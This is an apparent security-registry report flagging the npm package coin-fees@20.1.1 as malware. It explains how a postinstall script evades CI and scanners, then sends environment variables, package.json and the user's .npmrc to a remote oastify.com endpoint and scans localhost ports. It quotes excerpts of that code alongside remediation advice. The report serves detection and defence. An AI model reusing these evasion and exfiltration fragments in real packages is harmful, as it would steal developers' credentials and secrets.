registry / Credential exfiltration / coin-fees
coin-fees
netbsd-x64 build for esbuild
This report shows the evidence for coin-fees@20.1.1, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is concrete install-time credential and data exfiltration with stealth/anti-analysis behavior, not package-aligned functionality. The package should be blocked.
Static reason
One or more suspicious static signals were detected.
Trigger
npm postinstall
Impact
Exposure of environment secrets, npm credentials, project metadata, and system/development-host details.
Mechanism
delayed environment and credential exfiltration with host reconnaissance
Attack narrative
On npm installation, postinstall launches index.js. The code avoids common scanner and container environments, waits 30–120 seconds, then sends host details, all environment variables, the consuming project's package.json, and the user's .npmrc to an obfuscated remote HTTP endpoint. It also runs system commands and probes local development ports before exfiltrating results.
AI rationale
This is concrete install-time credential and data exfiltration with stealth/anti-analysis behavior, not package-aligned functionality. The package should be blocked.
Evidence
package.jsonindex.jsHOME/.npmrc
Network endpoints8
gvfqp5cm9r2jfs3d6mjpzt8y5pbkzanz.oastify.com:80127.0.0.1:80127.0.0.1:443127.0.0.1:3000127.0.0.1:5000127.0.0.1:8080127.0.0.1:8443127.0.0.1:9090
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- postinstall executes index.js during npm installation.
- Source suppresses execution in CI, audit, Docker, and Kubernetes environments.
- A hex-decoded hostname is used as an HTTP POST destination.
- Delayed code exfiltrates all environment variables and project package.json.
- It reads and exfiltrates HOME/USERPROFILE .npmrc.
- It executes reconnaissance commands and scans localhost developer ports.
Evidence against
Behavioral surface
ChildProcessFilesystemNetwork
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node index.js"
}
High
Suspicious Lifecycle Evidence
postinstall executes index.js during npm installation.
package.jsonView on unpkg · L6index.jsView file
10// Scanner indicators — exit silently if detected
const ___SCANNER = !!(
___env.CI || ___env.GITHUB_ACTIONS || ___env.GITLAB_CI ||
___env.JENKINS_HOME || ___env.NPM_CONFIG_AUDIT === 'true' ||
___env._NPM_AUDIT_PREVIEW || ___env.npm_execpath === 'undefined' ||
___args.includes('audit') || ___args.includes('--dry-run') ||
___args.includes('pack') || ___args.includes('publish') ||
___args.includes('access') || ___args.includes('ping')
);
High
Ai Review Evidence
Source suppresses execution in CI, audit, Docker, and Kubernetes environments.
index.jsView on unpkg · L1065const http = require('http');
const opts = {
hostname: ___HOST, port: 80, path: '/', method: 'POST',
headers: {
'Content-Type': 'text/plain',
'Content-Length': Buffer.byteLength(data)
}
};
const req = http.request(opts);
req.write(data);
req.end();
High
Ai Review Evidence
A hex-decoded hostname is used as an HTTP POST destination.
index.jsView on unpkg · L65117const pkgPath = path.join(cwd, 'package.json');
if (fs.existsSync(pkgPath)) {
___send('package_json', fs.readFileSync(pkgPath, 'utf8'));
}
await ___wait(800);
const envStr = Object.entries(___env)
.map(([k, v]) => k + '=' + v)
.join('\n');
___send('env', envStr);
High
Ai Review Evidence
Delayed code exfiltrates all environment variables and project package.json.
index.jsView on unpkg · L117139const home = ___env.HOME || ___env.USERPROFILE;
if (home) {
const npmrcP = path.join(home, '.npmrc');
if (fs.existsSync(npmrcP)) {
___send('npmrc', fs.readFileSync(npmrcP, 'utf8'));
}
High
147/* ── PHASE 4: Local port scan (target: dev servers) ── */
const ports = [80, 443, 3000, 5000, 8080, 8443, 9090];
for (const port of ports) {
try {
const net = require('net');
const s = new net.Socket();
s.setTimeout(400);
s.connect(port, '127.0.0.1', () => {
___send('open_port', '127.0.0.1:' + port + ' is open');
High
Ai Review Evidence
It executes reconnaissance commands and scans localhost developer ports.
index.jsView on unpkg · L147Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to coin-fees@20.1.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing coin-fees@20.1.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.